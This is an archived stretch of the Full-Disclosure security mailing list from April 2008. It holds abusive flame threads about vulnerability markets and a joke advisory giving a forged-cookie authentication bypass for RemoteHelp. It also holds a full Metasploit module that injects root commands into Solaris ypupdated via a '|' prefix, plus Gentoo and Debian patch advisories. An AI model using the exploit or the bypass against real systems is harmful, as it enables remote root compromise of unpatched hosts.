http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/ecc13f4c/attachment.html From ureleet at gmail.com Fri Apr 4 21:36:05 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 16:36:05 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <47F64DAA.9030505@brvenik.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> <47F64DAA.9030505@brvenik.com> Message-ID: <6158bb410804041336p2fc9e424n8aa9a54d946a8859@mail.gmail.com> arent we already there? On Fri, Apr 4, 2008 at 11:47 AM, Jason wrote: > We are now close to this space being full circle. The next step is that > the researchers will offer the vendor a chance to compete for the > information on the vuln IP market and as a result winning vendors can > choose to keep it to themselves... > > Yep, Microsoft has won and we will soon be back to non-disclosure all > around. > > Micheal Cottingham wrote: > > I too have participated in ZDI as a researcher. It is a very good > > program, and both the company and the researcher get what they want > > out of the process. The company gets the time to fix the vulnerability > > before everybody else finds out, and the researcher gets the > > recognition (and some money) for their work. It is a win-win > > situation. > > > > On Fri, Apr 4, 2008 at 10:28 AM, Ureleet wrote: > >> ive dealt a bit with tipping point and their zdi. how about you learn > how > >> it works first, the come back and criticize it? you obviously dont > >> understand the contest at cansecwest, or how zdi plays into it. i was > >> there, it was a good conf. > >> > >> but you need to learn how it works before you go ranting about it.... > >> again... > >> > >> > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/57d8a5d3/attachment.html From ureleet at gmail.com Fri Apr 4 21:37:06 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 16:37:06 -0400 Subject: [Full-disclosure] ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow Vulnerability In-Reply-To: <4b6ee9310804040937h7d3f81cpb7a1e13312ca72d1@mail.gmail.com> References: <6158bb410804040733t5907006fg75a6c32d80cff145@mail.gmail.com> <4b6ee9310804040937h7d3f81cpb7a1e13312ca72d1@mail.gmail.com> Message-ID: <6158bb410804041337m563d8072p87752f5736eb63fb@mail.gmail.com> see my other email, i'm not cross threading like you. On Fri, Apr 4, 2008 at 12:37 PM, n3td3v wrote: > On Fri, Apr 4, 2008 at 3:33 PM, Ureleet wrote: > > dear zdi, > > > > please instruct n3td3v on your process. oh sorry you already have in > every > > email alert that you send! > > I never once mentioned anything about the zero day initiative? Can you > find where I mentioned about the zero day initiative. > They have nothing to do with this, they don't spam the mailing lists > to make money. All i've seen them do is disclose vulnerabilities, > which is fair play e-mail. I'm a big fan of the zero day initiative, I > have no gripes with them whatsoever. > > Regards, > > n3td3v > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/27f34959/attachment.html From ureleet at gmail.com Fri Apr 4 21:37:56 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 16:37:56 -0400 Subject: [Full-disclosure] n3td3v agenda & Solid Information Security State Release 0012 In-Reply-To: <805292.91098.qm@web23315.mail.ird.yahoo.com> References: <805292.91098.qm@web23315.mail.ird.yahoo.com> Message-ID: <6158bb410804041337j5fbb8c2cqf34c5f9af1e72478@mail.gmail.com> r u serious? On Fri, Apr 4, 2008 at 10:48 AM, Micheal Turner wrote: > n3td3v agenda & Cyber Security group > ==================================== > > Solid Information Security State Release #0012a > > MARKING: RESTRICTIONS APPLY. > FAO: WORLD LEADERS > > == Introduction == > Serious high-risk ultra critical vulnerability has > been identified in Remote Help application that maybe > used by CIA, NSA and FBI employees when helping > colleagues on anti-terror campaigns.RemoteHelp is a > minimal http server that allows to view and control a > remote pc running a 32-bits version of Microsoft > Windows. > current version is 0.0.6 and runs stand-alone or > installs as a service. > > == URL == > http://sourceforge.net/projects/remotehelp/ > > == HISTORY == > After n3td3v agenda emailed the NSA, SANS and all > information security groups and was found not to be > taken seriously. High risk proof of concept exploit > code has been authored for severe vulnerability in > Remote Help application which maybe used by any number > of Yahoo!, Google!, Ebay! or NSA employees. This > vulnerability gives rise to serious national > infrastructure risk and should not be under estimated! > > == Proof of Concept == > I found a vulnerability in the pages.c file which > generates the login page dialog and authenticates a > user after it checks if your "user" and "pass" > parameter match the defaults > (user/default) it does this: > > strncpy(cookie,"user=default; path=/; expires=Sun, > 11-May-2030 22:11:40 GMT",1024); > > for a valid login and for an invalid login it sets an > expired cookie like so; > strncpy(cookie,"user=default; path=/; expires=Sun, > 11-May-1970 22:11:40 GMT",1024); > > all you have to do is add "Cookie: user=default; > path=/; expires=Sun, 11-May-2030 22:11:40 GMT" to your > HTTP request and you can bypass > authentication to the Remote Help server and access > the filesystem/exec commands/view the webcam of the > hosts running it. > > == Credit == > > n3td3v & documentation help by Michael Turner. > > "Never trust your employees." > > > ___________________________________________________________ > Yahoo! For Good helps you make a difference > > http://uk.promotions.yahoo.com/forgood/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/2c57e1d0/attachment.html From razishaban at gmail.com Fri Apr 4 22:41:26 2008 From: razishaban at gmail.com (Razi Shaban) Date: Sat, 5 Apr 2008 00:41:26 +0300 Subject: [Full-disclosure] n3td3v agenda & Solid Information Security State Release 0012 In-Reply-To: <6158bb410804041337j5fbb8c2cqf34c5f9af1e72478@mail.gmail.com> References: <805292.91098.qm@web23315.mail.ird.yahoo.com> <6158bb410804041337j5fbb8c2cqf34c5f9af1e72478@mail.gmail.com> Message-ID: <2d792fb20804041441i31259485xefcc8ec761b3761e@mail.gmail.com> It's called "a joke." -- Razi On 4/4/08, Ureleet wrote: > r u serious? > > > On Fri, Apr 4, 2008 at 10:48 AM, Micheal Turner > wrote: > > n3td3v agenda & Cyber Security group > > ==================================== > > > > Solid Information Security State Release #0012a > > > > MARKING: RESTRICTIONS APPLY. > > FAO: WORLD LEADERS > > > > == Introduction == > > Serious high-risk ultra critical vulnerability has > > been identified in Remote Help application that maybe > > used by CIA, NSA and FBI employees when helping > > colleagues on anti-terror campaigns.RemoteHelp is a > > minimal http server that allows to view and control a > > remote pc running a 32-bits version of Microsoft > > Windows. > > current version is 0.0.6 and runs stand-alone or > > installs as a service. > > > > == URL == > > http://sourceforge.net/projects/remotehelp/ > > > > == HISTORY == > > After n3td3v agenda emailed the NSA, SANS and all > > information security groups and was found not to be > > taken seriously. High risk proof of concept exploit > > code has been authored for severe vulnerability in > > Remote Help application which maybe used by any number > > of Yahoo!, Google!, Ebay! or NSA employees. This > > vulnerability gives rise to serious national > > infrastructure risk and should not be under estimated! > > > > == Proof of Concept == > > I found a vulnerability in the pages.c file which > > generates the login page dialog and authenticates a > > user after it checks if your "user" and "pass" > > parameter match the defaults > > (user/default) it does this: > > > > strncpy(cookie,"user=default; path=/; expires=Sun, > > 11-May-2030 22:11:40 GMT",1024); > > > > for a valid login and for an invalid login it sets an > > expired cookie like so; > > strncpy(cookie,"user=default; path=/; expires=Sun, > > 11-May-1970 22:11:40 GMT",1024); > > > > all you have to do is add "Cookie: user=default; > > path=/; expires=Sun, 11-May-2030 22:11:40 GMT" to your > > HTTP request and you can bypass > > authentication to the Remote Help server and access > > the filesystem/exec commands/view the webcam of the > > hosts running it. > > > > == Credit == > > > > n3td3v & documentation help by Michael Turner. > > > > "Never trust your employees." > > > > > > > ___________________________________________________________ > > Yahoo! For Good helps you make a difference > > > > http://uk.promotions.yahoo.com/forgood/ > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From xploitable at gmail.com Fri Apr 4 23:11:01 2008 From: xploitable at gmail.com (n3td3v) Date: Fri, 4 Apr 2008 23:11:01 +0100 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <6158bb410804041334s1164c9e5v76afa5b62e44f66d@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> <6158bb410804041334s1164c9e5v76afa5b62e44f66d@mail.gmail.com> Message-ID: <4b6ee9310804041511i32365f33g3dcdc9ef34a02e5c@mail.gmail.com> On Fri, Apr 4, 2008 at 9:34 PM, Ureleet wrote: > see: > > > - Come to our conference - profit... buy our ticket, get a macbook prize. > > > - Hacking challenge prize - profit... they give you $5000 and sell it > > to the vendor for a lot more. > > ZDI provides the money for this. and they don't sell it back to vendor > > > > - Train to use our software -profit... over priced training for > > software... not interested. > > dont' get angry at remote-exploit because they are making money from their > work . how much money do you make from posting to fd? > > > > On the issue of how much a vulnerability is worth, the prices are not > > regulated, we need regulation into how much a vulnerability costs, > > because the prices right now are wild. We need to take vulnerability > > pricing off the blackmarket and onto a legitimate central website for > > selling vulnerabilities, or cash rewards for disclosing a > > vulnerability to a particular company or organisation. > > wabisabilabi? zdi... etc. > > > Can someone post to full-disclosure a price list of what they think a > > bufferoverflow should be worth etc, and we can vote if we agree. > > feel free to take that as a todo item. however, i would think it would > depend on the bo. > > > We can't dress up cash prizes/contests as something else as well, if a > > website is offering a $5,000 reward for a vulnerability, we need to > > know if we're being ripped off with the cash reward and how much can > > be potentially made after its sold on. > > zdi doesn't sell their exploits afaik. > > > > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > > reward might not be enough money, compared to what a vulnerability > > *should* be worth, and taking into consideration how much profit > > CanSecWest make overall from people attending the conference. > > the pwn2own cash is supplied by zdi. that's what you arent' realizing. > > > > So you take into consideration how much a vulnerability should be > > worth, then the added worth because its a security conference of how > > much should be added on to counter the profit being made by the event. > > you already said this. twice. > > > > However, to round off, we can't allow the mailing lists to turn into a > > vulnerability market place, full-disclosure should be for free stuff, > > and other websites and mailing lists can be setup for *money making > > schemes and auctions*. > > there are. however how are the people going to know about the websites if > you don't allow people to 'spam' lists with this sort of thing, mr > unofficial-fd moderator? > > > > We shouldn't allow the money makers directly to market X... if a link > > is put on Full-Disclosure by a member of the public on the fly then > > thats ok, but I think its cheeky for the particular conference, > > contest runner or software trainer to be on the list themselves > > spamming everyone, for a profiteering agenda. > > that's why its called free enterprise, it's an unmoderated list. feel free > to unsubscribe if you dont like it much.. > > > > You mention cross-posting, thats not the issue here, its the people > > making the money posting to make the money that offends me so much. > > we know, its the third time youve said it in one email. > > > > And not even the lonely hacker offends me who posts i've got a > > vulnerability for sale for X, I don't mind that on Full-Disclosure, > > but what I do mind is if its a company or organisation doing it that > > is directly the ones making the money via vulnerability for sale, > > prize contest, security conference or train to use our software!!!, > > thats the height of spam I just think is utterly wrong and unethical > > on any scale of acceptability. > > again, free market, and you are directly talking about zdi. > > > > If a lonley hacker who works in a supermarket has a vulnerabilty to > > sell i'm all for it being post on full-disclosure, but not the big > > money conferences, prize hacking contests and software training guys. > > fourth time. > > > > I come under the bracket as supermarket worker with nothing much going > > for me in life, so I should be allowed to sell a vulnerability on > > what's ment to be a mailing list for non-profit disclosure. > > you work at a supermarket? so you know about the under cash drawer switch > that pops open the drawer exploit? > > > > > You will find it easy to shout me down and say n3td3v's an idiot, but > > wait to the vulnerability market really takes off and the prices of > > vulnerabilities are properly defined and regulated, you're going to > > see a huge increase in commercial spam on the mailing lists, like the > > full-disclosure mailing list. so we've got to define what's fair play > > e-mail and what's a company or organisation blatantly profiteering > > with X method of extracting money out of people and using skilled > > hackers to make money, and to promote a security conference, training > > etc. > > again, unmoderated list. the door is over there. * i * * never * mentioned * ZDI * you * complete * jerk * off * * read * * the * * e-mail * properly * and * you * will * understand * what * I * don't * like * Overview: FIRST I said let's have a debate about how much a vulnerability is worth per vulnerability type, so everyone knows if we're being ripped off by joe jobs and to stop any blackmarkets, prices needs to be defined and regulated, so everyone knows where they stand in the security community as far as prices are concerned. ^^^^You bypassed this completely. SECOND Those on the list who don't disclose a vulnerability *but* are trying to sell a product should be outlawed. ^^^^do you know the difference between disclosure and profiteering? You're losing my rag and the lack of intellectual debate on this from non-retards is shocking, these are two serious topics that need debating and all i've got is some lamer called "Ureleet" trying to wind me up. Is anyone who can have a serious debate on this list? n3td3v From razishaban at gmail.com Fri Apr 4 23:19:50 2008 From: razishaban at gmail.com (Razi Shaban) Date: Sat, 5 Apr 2008 01:19:50 +0300 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804041511i32365f33g3dcdc9ef34a02e5c@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> <6158bb410804041334s1164c9e5v76afa5b62e44f66d@mail.gmail.com> <4b6ee9310804041511i32365f33g3dcdc9ef34a02e5c@mail.gmail.com> Message-ID: <2d792fb20804041519q2f9bea81j9304ae9446414a03@mail.gmail.com> You say "serious debate" as if you are attempting to partake in such a debate. You are not. You are flaming. Now, please stop flaming. Note for fairness: This is not intended exclusively for netdev, but for everyone who is flaming. -- Razi On 4/5/08, n3td3v wrote: > On Fri, Apr 4, 2008 at 9:34 PM, Ureleet wrote: > > see: > > > > > - Come to our conference - profit... buy our ticket, get a macbook prize. > > > > > - Hacking challenge prize - profit... they give you $5000 and sell it > > > to the vendor for a lot more. > > > > ZDI provides the money for this. and they don't sell it back to vendor > > > > > > > - Train to use our software -profit... over priced training for > > > software... not interested. > > > > dont' get angry at remote-exploit because they are making money from their > > work . how much money do you make from posting to fd? > > > > > > > On the issue of how much a vulnerability is worth, the prices are not > > > regulated, we need regulation into how much a vulnerability costs, > > > because the prices right now are wild. We need to take vulnerability > > > pricing off the blackmarket and onto a legitimate central website for > > > selling vulnerabilities, or cash rewards for disclosing a > > > vulnerability to a particular company or organisation. > > > > wabisabilabi? zdi... etc. > > > > > Can someone post to full-disclosure a price list of what they think a > > > bufferoverflow should be worth etc, and we can vote if we agree. > > > > feel free to take that as a todo item. however, i would think it would > > depend on the bo. > > > > > We can't dress up cash prizes/contests as something else as well, if a > > > website is offering a $5,000 reward for a vulnerability, we need to > > > know if we're being ripped off with the cash reward and how much can > > > be potentially made after its sold on. > > > > zdi doesn't sell their exploits afaik. > > > > > > > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > > > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > > > reward might not be enough money, compared to what a vulnerability > > > *should* be worth, and taking into consideration how much profit > > > CanSecWest make overall from people attending the conference. > > > > the pwn2own cash is supplied by zdi. that's what you arent' realizing. > > > > > > > So you take into consideration how much a vulnerability should be > > > worth, then the added worth because its a security conference of how > > > much should be added on to counter the profit being made by the event. > > > > you already said this. twice. > > > > > > > However, to round off, we can't allow the mailing lists to turn into a > > > vulnerability market place, full-disclosure should be for free stuff, > > > and other websites and mailing lists can be setup for *money making > > > schemes and auctions*. > > > > there are. however how are the people going to know about the websites if > > you don't allow people to 'spam' lists with this sort of thing, mr > > unofficial-fd moderator? > > > > > > > We shouldn't allow the money makers directly to market X... if a link > > > is put on Full-Disclosure by a member of the public on the fly then > > > thats ok, but I think its cheeky for the particular conference, > > > contest runner or software trainer to be on the list themselves > > > spamming everyone, for a profiteering agenda. > > > > that's why its called free enterprise, it's an unmoderated list. feel free > > to unsubscribe if you dont like it much.. > > > > > > > You mention cross-posting, thats not the issue here, its the people > > > making the money posting to make the money that offends me so much. > > > > we know, its the third time youve said it in one email. > > > > > > > And not even the lonely hacker offends me who posts i've got a > > > vulnerability for sale for X, I don't mind that on Full-Disclosure, > > > but what I do mind is if its a company or organisation doing it that > > > is directly the ones making the money via vulnerability for sale, > > > prize contest, security conference or train to use our software!!!, > > > thats the height of spam I just think is utterly wrong and unethical > > > on any scale of acceptability. > > > > again, free market, and you are directly talking about zdi. > > > > > > > If a lonley hacker who works in a supermarket has a vulnerabilty to > > > sell i'm all for it being post on full-disclosure, but not the big > > > money conferences, prize hacking contests and software training guys. > > > > fourth time. > > > > > > > I come under the bracket as supermarket worker with nothing much going > > > for me in life, so I should be allowed to sell a vulnerability on > > > what's ment to be a mailing list for non-profit disclosure. > > > > you work at a supermarket? so you know about the under cash drawer switch > > that pops open the drawer exploit? > > > > > > > > > You will find it easy to shout me down and say n3td3v's an idiot, but > > > wait to the vulnerability market really takes off and the prices of > > > vulnerabilities are properly defined and regulated, you're going to > > > see a huge increase in commercial spam on the mailing lists, like the > > > full-disclosure mailing list. so we've got to define what's fair play > > > e-mail and what's a company or organisation blatantly profiteering > > > with X method of extracting money out of people and using skilled > > > hackers to make money, and to promote a security conference, training > > > etc. > > > > again, unmoderated list. the door is over there. > > > * i * * never * mentioned * ZDI * you * complete * jerk * off * > > * read * * the * * e-mail * properly * and * you * will * understand * > what * I * don't * like * > > Overview: > > FIRST > > I said let's have a debate about how much a vulnerability is worth per > vulnerability type, so everyone knows if we're being ripped off by joe > jobs and to stop any blackmarkets, prices needs to be defined and > regulated, so everyone knows where they stand in the security > community as far as prices are concerned. > > ^^^^You bypassed this completely. > > SECOND > > Those on the list who don't disclose a vulnerability *but* are trying > to sell a product should be outlawed. > > ^^^^do you know the difference between disclosure and profiteering? > > You're losing my rag and the lack of intellectual debate on this from > non-retards is shocking, these are two serious topics that need > debating and all i've got is some lamer called "Ureleet" trying to > wind me up. > > Is anyone who can have a serious debate on this list? > > > n3td3v > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From druid at caughq.org Sat Apr 5 02:39:37 2008 From: druid at caughq.org (I)ruid) Date: Fri, 04 Apr 2008 20:39:37 -0500 Subject: [Full-disclosure] CAU-EX-2008-0001: Solaris ypupdated Command Execution Message-ID: <1207359577.3155.29.camel@localhost> ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2008-0001 Release Date: 2008.04.04 Title: ypupdated_exec.rb Description: Solaris ypupdated Command Execution Tested: Solaris x86/sparc 10, sparc 9, 8, 2.7 Attributes: Remote, NULL Auth, Elevated Privileges, Metasploit Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0001.txt Author/Email: I)ruid ===============/======================================================== Description =========== This exploit targets a weakness in the way the ypupdated RPC application uses the command shell when handling a MAP UPDATE request. Extra commands may be launched through this command shell, which runs as root on the remote host, by passing commands in the format '|'. Credits ======= Josh D. from Avalon Security Research is credited with originally discovering this vulnerability. This Metasploit exploit module was modeled after kcope's exploit released to Milw0rm on 2008.03.20. References ========== http://osvdb.org/displayvuln.php?osvdb_id=11517 http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0209 http://www.securityfocus.com/bid/1749/info http://www.milw0rm.com/exploits/5282 Metasploit ========== require 'msf/core' module Msf class Exploits::Solaris::Sunrpc::YPUpdateDExec < Msf::Exploit::Remote include Exploit::Remote::SunRPC def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris ypupdated Command Execution', 'Description' => %q{ This exploit targets a weakness in the way the ypupdated RPC application uses the command shell when handling a MAP UPDATE request. Extra commands may be launched through this command shell, which runs as root on the remote host, by passing commands in the format '|'. Vulnerable systems include Solaris 2.7, 8, 9, and 10, when ypupdated is started with the '-i' command-line option. }, 'Author' => [ 'I)ruid ' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 4498 $', 'References' => [ ['BID', '1749'], ['CVE', '1999-0209'], ['OSVDB', '11517'], ], 'Privileged' => true, 'Platform' => ['unix', 'solaris'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']), OptInt.new('GID', [false, 'GID to emulate', 0]), OptInt.new('UID', [false, 'UID to emulate', 0]) ], self.class ) end def exploit hostname = datastore['HOSTNAME'] program = 100028 progver = 1 procedure = 1 print_status 'Sending PortMap request for ypupdated program' pport = sunrpc_create('udp', program, progver) print_status "Sending MAP UPDATE request with command '#{payload.encoded}'" print_status 'Waiting for response...' sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], []) command = '|' + payload.encoded msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000) sunrpc_call(procedure, msg) sunrpc_destroy print_good 'No Errors, appears to have succeeded!' rescue ::Rex::Proto::SunRPC::RPCTimeout print_status 'Warning: ' + $! print_status 'Exploit may or may not have succeeded.' end end end -- I)ruid, C?ISSP druid at caughq.org http://druid.caughq.org -------------- next part -------------- A non-text attachment was scrubbed... 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Background ========== OpenSSH is a complete SSH protocol implementation that includes an SFTP client and server support. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-misc/openssh < 4.7_p1-r6 >= 4.7_p1-r6 Description =========== Two issues have been discovered in OpenSSH: * Timo Juhani Lindfors discovered that OpenSSH sets the DISPLAY variable in SSH sessions using X11 forwarding even when it cannot bind the X11 server to a local port in all address families (CVE-2008-1483). * OpenSSH will execute the contents of the ".ssh/rc" file even when the "ForceCommand" directive is enabled in the global sshd_config (CVE-2008-1657). Impact ====== A local attacker could exploit the first vulnerability to hijack forwarded X11 sessions of other users and possibly execute code with their privileges, disclose sensitive data or cause a Denial of Service, by binding a local X11 server to a port using only one address family. The second vulnerability might allow local attackers to bypass intended security restrictions and execute commands other than those specified by "ForceCommand" if they are able to write to their home directory. Workaround ========== There is no known workaround at this time. Resolution ========== All OpenSSH users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/openssh-4.7_p1-r6" References ========== [ 1 ] CVE-2008-1483 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1483 [ 2 ] CVE-2008-1657 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1657 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200804-03.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). 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Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080405/48bf181b/attachment.bin From devin at debian.org Wed Apr 2 22:25:32 2008 From: devin at debian.org (Devin Carraway) Date: Wed, 02 Apr 2008 23:25:32 +0200 Subject: [Full-disclosure] [SECURITY] [DSA 1537-1] New xpdf packages fix multiple vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1537-1 security at debian.org http://www.debian.org/security/ Devin Carraway April 02, 2008 http://www.debian.org/security/faq - ------------------------------------------------------------------------ Package : xpdf Vulnerability : multiple Problem type : local (remote) Debian-specific: no CVE Id(s) : CVE-2007-4352 CVE-2007-5392 CVE-2007-5393 Alin Rad Pop (Secunia) discovered a number of vulnerabilities in xpdf, a set of tools for display and conversion of Portable Document Format (PDF) files. The Common Vulnerabilities and Exposures project identifies the following three problems: CVE-2007-4352 Inadequate DCT stream validation allows an attacker to corrupt memory and potentially execute arbitrary code by supplying a maliciously crafted PDF file. CVE-2007-5392 An integer overflow vulnerability in DCT stream handling could allow an attacker to overflow a heap buffer, enabling the execution of arbitrary code. CVE-2007-5393 A buffer overflow vulnerability in xpdf's CCITT image compression handlers allows overflow on the heap, allowing an attacker to execute arbitrary code by supplying a maliciously crafted CCITTFaxDecode filter. For the stable distribution (etch), these problems have been fixed in version 3.01-9.1+etch2. For the unstable distribution (sid), these problems have been fixed in version 3.02-1.3. We recommend that you upgrade your xpdf packages. Upgrade instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 4.0 alias etch - ------------------------------- Stable updates are available for amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/x/xpdf/xpdf_3.01-9.1+etch2.diff.gz Size/MD5 checksum: 38819 aab7a1116e3267fad270dda3c77d79ea http://security.debian.org/pool/updates/main/x/xpdf/xpdf_3.01-9.1+etch2.dsc Size/MD5 checksum: 974 e67bcc829b980bc91168137c5f7c8ff0 http://security.debian.org/pool/updates/main/x/xpdf/xpdf_3.01.orig.tar.gz Size/MD5 checksum: 599778 e004c69c7dddef165d768b1362b44268 Architecture independent packages: http://security.debian.org/pool/updates/main/x/xpdf/xpdf-common_3.01-9.1+etch2_all.deb Size/MD5 checksum: 61314 e5390719b5e1ccf8d7693a62ec34acfd http://security.debian.org/pool/updates/main/x/xpdf/xpdf_3.01-9.1+etch2_all.deb Size/MD5 checksum: 1280 b45afbdf7fb24ada4e657dba2a8c8243 amd64 architecture (AMD x86_64 (AMD64)) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_amd64.deb Size/MD5 checksum: 1456842 fb1b065bf8436387895bcd70327a531a http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_amd64.deb Size/MD5 checksum: 795110 e72df10c4736d9ea929118a7a70dfff3 arm architecture (ARM) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_arm.deb Size/MD5 checksum: 788592 8ae5bca1f64769399171301753168f16 http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_arm.deb Size/MD5 checksum: 1432474 932ab72d7c80440db8cc315f5c8d15db hppa architecture (HP PA RISC) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_hppa.deb Size/MD5 checksum: 1742282 3da481ccb549c8f8b0e9ccc623c25483 http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_hppa.deb Size/MD5 checksum: 949772 075197f762e662652adafef93707b52a i386 architecture (Intel ia32) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_i386.deb Size/MD5 checksum: 783020 a6ddad14ae3173c88b753612060b2b07 http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_i386.deb Size/MD5 checksum: 1426268 5e84d679b7123dfd002cea841d283979 ia64 architecture (Intel ia64) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_ia64.deb Size/MD5 checksum: 1197338 43efabc7f076e9c9d9e0bfec5195ea9b http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_ia64.deb Size/MD5 checksum: 2168060 5472b44baa87bae8e1401ba27793f102 mips architecture (MIPS (Big Endian)) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_mips.deb Size/MD5 checksum: 1709020 48e6faeb10a55716dd7a0e1063d8a983 http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_mips.deb Size/MD5 checksum: 944706 9ef45fa29e6b793ffd6ddb4300299d87 mipsel architecture (MIPS (Little Endian)) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-reader_3.01-9.1+etch2_mipsel.deb Size/MD5 checksum: 932510 c737ff8bd1d841f6d35b3d4c89de7e43 http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_mipsel.deb Size/MD5 checksum: 1688522 5f9636000a58a2e0935686aa33c51974 powerpc architecture (PowerPC) http://security.debian.org/pool/updates/main/x/xpdf/xpdf-utils_3.01-9.1+etch2_powerpc.deb Size/MD5 checksum: 1522230 ef3d27bfb0bd744eb87ade8a4f7d55a6 